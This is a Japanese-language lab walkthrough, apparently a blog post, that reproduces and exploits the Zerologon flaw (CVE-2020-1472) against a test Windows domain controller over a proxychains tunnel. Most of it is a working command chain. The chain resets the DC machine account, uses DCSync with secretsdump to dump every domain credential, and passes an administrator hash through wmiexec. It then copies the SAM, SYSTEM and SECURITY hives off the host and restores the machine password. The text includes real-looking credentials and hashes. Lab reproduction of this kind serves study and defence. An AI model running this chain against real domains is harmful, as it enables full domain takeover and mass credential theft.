
cve-2020-1472 再現・悪用とそのexp
mac環境でproxychainsプロキシを介してWindowsドメイン環境でこの脆弱性を再現する。
DC(プライマリドメインコントローラー):

Domain User(ドメインメンバーホスト):
gostを使用してsocks5フォワードプロキシを直接設定する。

Attack Hacker(攻撃マシン):
proxychains4を設定する
vim /Users/xq17/.proxychains/proxychains.conf
PrxoyListリストを追加する
[ProxyList] socks5 10.211.55.42 8099
Attack Tools(攻撃ツール):
1.git clone https://github.com/mstxq17/cve-2020-1472.git
2.pip3 install -r requirements.txt
実行時にこのエラーが発生した場合:

impacketモジュールに問題があることを示している。impacketモジュールをアンインストールして、GitHubで最新版をインストールしてみてください。
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket && pip3 install .
これで問題は解決する。
c# 版ツール: https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon
まずローカルでドメインコントローラーのパスワードを使用して、ドメインマシンアカウントのHashをエクスポートし、後で変更後の値と比較しやすくする。
proxychains4 secretsdump.py test.local/Administrator:'123QWEqwe!@#'@10.211.55.38 -just-dc-user "DC$"
或者去掉双引号,但是要注意在linux下$代表是变量的意思记得转义。
proxychains4 secretsdump.py test.local/Administrator:'123QWEqwe!@#'@10.211.55.38 -just-dc-user DC\$

zerologon_tester.pyを使用して、脆弱性が存在するかどうかを検証する
python3 zerologon_tester.py DC 10.211.55.38

Successが返されれば、脆弱性が存在することを意味する。
cve-2020-1472-exploit.pyを使用してマシンアカウントをリセットする
python3 cve-2020-1472-exploit.py dc$ 10.211.55.38


ドメインコントローラーのマシンアカウントを使用して、DCSyncでドメイン内のすべてのユーザー資格情報をエクスポートできる
原理:
DRS(Directory Replication Service、ディレクトリレプリケーションサービス)プロトコルを利用して、IDL_DRSGetNCChangesを介してドメインコントローラーからユーザー資格情報を複製する。
proxychains4 secretsdump.py test.local/dc\[email protected] -no-pass

DC$マシンアカウントのパスワードを復元する 以下を使用して
proxychains4 secretsdump.py test.local/dc\[email protected] -no-pass -just-dc | grep 'Administrator'
ドメイン管理者のhashを取得する


その後、wmicとpass the hashを使用して、ドメインコントローラー内のローカル管理者権限(ドメイン管理者)を取得する
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8adfc85c3490040e942ae1e6c68f645e test.local/[email protected]
そしてそれぞれ実行し、ローカルマシンのSAMデータベースをMac側にコピーする
- reg save HKLM\SYSTEM system.save
- reg save HKLM\SAM sam.save
- reg save HKLM\SECURITY security.save
- get system.save
- get sam.save
- get security.save
- del /f system.save
- del /f sam.save
- del /f security.save
シングルドメイン環境の場合:
問題なく動作する。ドメインコントローラーを再起動しても異常はないが、ドメインメンバーマシンのDNSに問題が発生する。認証には影響しない。

パスワードを復元した後:

デュアルドメイン環境(プライマリドメインコントローラーDCとバックアップドメインコントローラーDC01):

まず2台のドメインコントローラーのマシンHashを取得したところ、両者は異なることがわかった。

副ドメインに対して攻撃を試みたが、プライマリドメインには影響がなく、ntdis.distのデータも同期されていることがわかった。

プライマリドメインにも攻撃を試みたところ、net time /domain はシングルドメイン環境と同様にエラーになるが、パスワードを復元すると即座に復旧した。
新しいアカウントを作成すると直接同期できる

パスワードを変更しても同期には影響しない。
個人的な所感として、現時点では脱域(ドメイン離脱)の問題は見つかっていない。この手順で一度試してみることをおすすめする。問題があればぜひ気軽に相談してほしい!

secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
マシンアカウントの平文hexを抽出する

最後に実行する
proxychains4 python3 restorepassword.py DC@DC -target-ip 10.211.55.38 -hexpass 87e2812ccea41210c80e298c9e2a43a249d6a4056027787774340fbfd4b5f969563803b0f1bae7ccd24b29b41ae611025f1952793562d73e7f4e0f8938b3361332b35dd5ee22785b79b922149db32dc5c9301f4fd9fd090f532575bf5197a9c9230955bfd96ab928ae66b3999730c75b8545e26770816f21f2dbf9dbb19432211a91224c4c618507f7091ae09435a13a04bad5f056e72d34a96f67fa33d50e7596eca7709f398d98ba9e07407d7b2e4b937e40d1bf5ff0eb2240bdf0e8287e26ea5f8e69219fa7b1c5aa0e0bd8b992a176c32b0efb914fa6c1e53d69179110b02dfc1b1a0e53b445b92588420af18960

情報が完全に復元されたことが確認できる。